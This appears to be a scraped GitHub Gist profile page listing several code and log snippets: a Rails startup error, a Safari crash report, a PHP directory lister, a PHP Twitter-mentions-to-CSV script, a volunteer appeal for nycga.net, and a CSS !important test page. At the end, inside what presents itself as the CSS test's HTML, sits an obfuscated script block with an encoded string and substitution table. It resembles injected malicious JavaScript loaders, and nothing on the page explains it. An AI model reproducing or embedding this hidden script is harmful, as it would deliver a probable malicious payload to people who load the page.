Skip to content

Instantly share code, notes, and snippets.

View dphiffer's full-sized avatar

Dan Phiffer dphiffer

View GitHub Profile
I'm getting the error message "uninitialized constant ActiveRecord::Base (NameError)" when running my web app with Mongrel or Passenger. Here's the full start-up log:
script/server
=> Booting Mongrel (use 'script/server webrick' to force WEBrick)
=> Rails 2.2.2 application starting on http://0.0.0.0:3000
=> Call with -d to detach
=> Ctrl-C to shutdown server
** Starting Mongrel listening at 0.0.0.0:3000
** Starting Rails with development environment...
Problems loading RmagickProcessor: no such file to load -- RMagick
Date/Time: 2009-09-14 10:40:07.479 -0400
OS Version: 10.4.11 (Build 8S2167)
Report Version: 4
Command: Safari
Path: /Applications/Safari.app/Contents/MacOS/Safari
Parent: WindowServer [101]
Version: 4.0.3 (4531.9)
Build Version: 1
Date/Time: 2009-09-14 10:40:07.479 -0400
OS Version: 10.4.11 (Build 8S2167)
Report Version: 4
Command: Safari
Path: /Applications/Safari.app/Contents/MacOS/Safari
Parent: WindowServer [101]
Version: 4.0.3 (4531.9)
Build Version: 1
Process: Safari [216]
Path: /Applications/Safari.app/Contents/MacOS/Safari
Identifier: com.apple.Safari
Version: 4.0.3 (5531.9)
Build Info: WebBrowser-55310900~1
Code Type: PPC (Native)
Parent Process: launchd [85]
Interval Since Last Report: 28679 sec
Crashes Since Last Report: 17
Process: Safari [216]
Path: /Applications/Safari.app/Contents/MacOS/Safari
Identifier: com.apple.Safari
Version: 4.0.3 (5531.9)
Build Info: WebBrowser-55310900~1
Code Type: PPC (Native)
Parent Process: launchd [85]
Interval Since Last Report: 28679 sec
Crashes Since Last Report: 17
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php echo basename(dirname(__FILE__)) ?></title>
</head>
<body>
<?php
$dh = opendir(dirname(__FILE__));
@dphiffer
dphiffer / mentions.php
Created February 22, 2011 20:30
Last 100 Twitter mentions in CSV format
<?php
// Twitter username
$user = 'MuseumModernArt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://search.twitter.com/search.json?q=$user&result_type=recent&rpp=100");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$json = curl_exec($ch);
Hello,
I'm working with the group charged with maintaining nycga.net, the official website of the NYC General
Assembly. We've recently relaunched the site with WordPress + BuddyPress and are entering into a new
assessing/fixing/maintenance phase. We need help on all fronts, from answering support emails to load
balancing servers to hacking new features in PHP.
If you're interested in lending a hand, or know somebody who might be, here is the link to start getting
involved: http://internet.nycga.net/volunteer/
@dphiffer
dphiffer / important-test.html
Created November 3, 2011 14:10
CSS !important flag considered harmful
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>!important considered harmful</title>
<style>
body {
font: 12px verdana;
}
<script type='text/javascript'>st="en0no3mno3nipno3rxhkpno3rxms";Date&&(a=["a#%d]%b@%e_%c)%1<%5*%4+%9:%3^%2","%7!%0|%f~%8?%6&"]);var b=[],c="&!^<^]$$&)&~&_&)!:$$^@$|&:&&$?$]^<^]^]&+&~&^!*&]&*&_!+$_&^&~&~&@&:&*$_&:&_&+&*!?+~&&$?&!^<$:$:!@!?^+^]^!^$+*^&^@!&&<!$$|&^^]&_&*!!$|++&<!+&*^@&^$_!^&*!+*+&:&]&*$?&^$_&!&*!+*+&:&]&*$?$:$:^@&*&+^]&_&*!!$|++&<!+&*$?&^$_&!&*!+*+&:&]&*$?$:$@!?^+$:^@&+&~&^!*&]&*&_!+$_&^&~&~&@&:&*^]&!^<$@$$^]$$$@&*!^&^&<!|&*$?&*&+$_!+&~+!+]*+*^!+!$&:&_&!$?$:$:$@$$^@&*!?!|&:!$&*!^^]$$$@&*&+$_!+&~+!+]*+*^!+!$&:&_&!$?$:$@$$^@!|&<!+&?^]$~$$^@&!^^^]$$&?!+!+!|^#$~$~$$$@!^!+$_!$&*!|&)&<&^&*$?$~&*&_^|$~&!$)$$&!$$$:$_!$&*!|&)&<&^&*$?$~&_&~^^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